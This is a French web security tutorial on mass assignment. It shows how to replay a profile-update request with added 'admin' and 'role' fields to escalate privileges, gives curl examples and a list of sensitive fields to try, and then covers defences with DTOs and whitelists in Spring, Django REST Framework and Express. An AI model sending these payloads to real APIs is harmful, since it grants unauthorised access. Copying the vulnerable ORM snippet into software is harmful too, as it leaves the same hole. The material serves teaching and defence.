Skip to content

Mass assignment : élévation de droits par surcharge de propriétés

Certaines API retournent dans leurs réponses bien plus d’attributs qu’elles ne devraient — y compris des champs internes comme admin, role ou verified. Si le serveur accepte ces mêmes attributs en entrée lors d’une mise à jour de compte, il suffit de rejouer la requête en forçant leur valeur pour modifier son propre niveau d’accès.

Le scénario classique : un utilisateur met à jour son profil. La requête est interceptée dans Burp Suite ou les DevTools. La réponse du serveur révèle des champs qui ne devraient pas être visibles côté client.

HTTP/1.1 200 OK
{
"id": 42,
"username": "utilisateur",
"email": "utilisateur@exemple.fr",
"created_at": "2024-01-15T10:23:00Z",
"admin": false,
"role": "user",
"verified": true,
"account_locked": false
}

Les champs admin, role et account_locked n’ont aucune raison d’apparaître dans la réponse d’une mise à jour de profil. Leur présence indique que le serveur sérialise directement l’objet interne sans filtrage.

PUT /api/users/me HTTP/1.1
Host: exemple.fr
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
"email": "nouvel-email@exemple.fr"
}

Dans Burp Suite, onglet Proxy → HTTP history : repérer la requête de mise à jour et lire la réponse complète. Dans les DevTools du navigateur, onglet Network → sélectionner la requête → Response.

Identifier les attributs sensibles exposés : admin, role, is_staff, permissions, verified, account_locked.

2. Rejouer la requête en surchargeant les attributs

Section titled “2. Rejouer la requête en surchargeant les attributs”
PUT /api/users/me HTTP/1.1
Host: exemple.fr
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
"email": "nouvel-email@exemple.fr",
"admin": true,
"role": "admin"
}

Si le serveur ne filtre pas les champs en entrée et passe directement le corps de la requête à son ORM ou à sa couche de persistance, les attributs admin et role sont mis à jour.

GET /api/users/me HTTP/1.1
Authorization: Bearer eyJhbGci...
{
"id": 42,
"username": "utilisateur",
"admin": true,
"role": "admin"
}

L’accès aux endpoints d’administration, aux données des autres utilisateurs ou aux fonctionnalités réservées est maintenant disponible avec le même token.

Terminal window
# Requête normale
curl -s -X PUT https://exemple.fr/api/users/me \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"email": "test@exemple.fr"}' | jq .
# Requête avec surcharge
curl -s -X PUT https://exemple.fr/api/users/me \
-H "Authorization: Bearer TOKEN" \
-H "Content-Type: application/json" \
-d '{"email": "test@exemple.fr", "admin": true, "role": "admin"}' | jq .

Les attributs sensibles varient selon la technologie et le métier de l’application :

admin → true/false
role → "user", "moderator", "admin", "superadmin"
is_staff → true/false (Django)
permissions → ["read", "write", "delete"]
verified → true/false
credits → 0
balance → 0
account_locked → true/false
subscription → "free", "premium", "enterprise"

Tester aussi les requêtes de création de compte (POST /api/users/register) et les mises à jour de mot de passe — ces endpoints sont souvent encore moins protégés que la mise à jour de profil.

Un DTO définit explicitement les champs acceptés en entrée. Tout ce qui ne figure pas dans le DTO est ignoré, même si le client l’envoie.

Java (Spring) :

// DTO : seuls les champs autorisés sont exposés
public class UpdateProfileDTO {
private String email;
private String username;
// pas de champ admin, role, verified
}
@PutMapping("/users/me")
public ResponseEntity<?> updateProfile(
@RequestBody UpdateProfileDTO dto,
@AuthenticationPrincipal User currentUser
) {
currentUser.setEmail(dto.getEmail());
currentUser.setUsername(dto.getUsername());
// admin et role ne sont jamais touchés
userRepository.save(currentUser);
return ResponseEntity.ok(new UserResponseDTO(currentUser));
}

Python (Django REST Framework) :

class UpdateProfileSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['email', 'username'] # liste blanche explicite
# admin, is_staff, is_superuser ne sont pas dans fields

Node.js (Express) :

// Extraire uniquement les champs autorisés
const allowedFields = ['email', 'username'];
const updateData = Object.fromEntries(
Object.entries(req.body).filter(([key]) => allowedFields.includes(key))
);
await User.findByIdAndUpdate(req.user.id, updateData);

Appliquer le principe de liste blanche en entrée ET en sortie

Section titled “Appliquer le principe de liste blanche en entrée ET en sortie”

Deux DTOs distincts pour éviter toute fuite :

// DTO en entrée — ce que le client peut modifier
public class UpdateProfileDTO {
private String email;
private String username;
}
// DTO en sortie — ce que le client peut voir
public class UserResponseDTO {
private Long id;
private String username;
private String email;
// admin et role absent — pas visibles dans la réponse
}

La réponse ne doit jamais exposer d’attributs que le client ne peut pas légitimement modifier. Si admin n’apparaît pas dans la réponse, il ne peut pas être identifié comme cible.

Ne jamais passer le corps de la requête directement à l’ORM

Section titled “Ne jamais passer le corps de la requête directement à l’ORM”
// Vulnérable — tout le body est passé à l'ORM
await User.findByIdAndUpdate(req.user.id, req.body);
// Correct — extraction explicite
const { email, username } = req.body;
await User.findByIdAndUpdate(req.user.id, { email, username });

La verbosité d’une réponse API renseigne un attaquant sur le modèle de données interne. Un champ visible en sortie peut souvent être soumis en entrée si le serveur ne distingue pas les deux. La protection repose sur des DTOs distincts en entrée et en sortie — jamais sur la confiance que le client n’enverra que les champs attendus.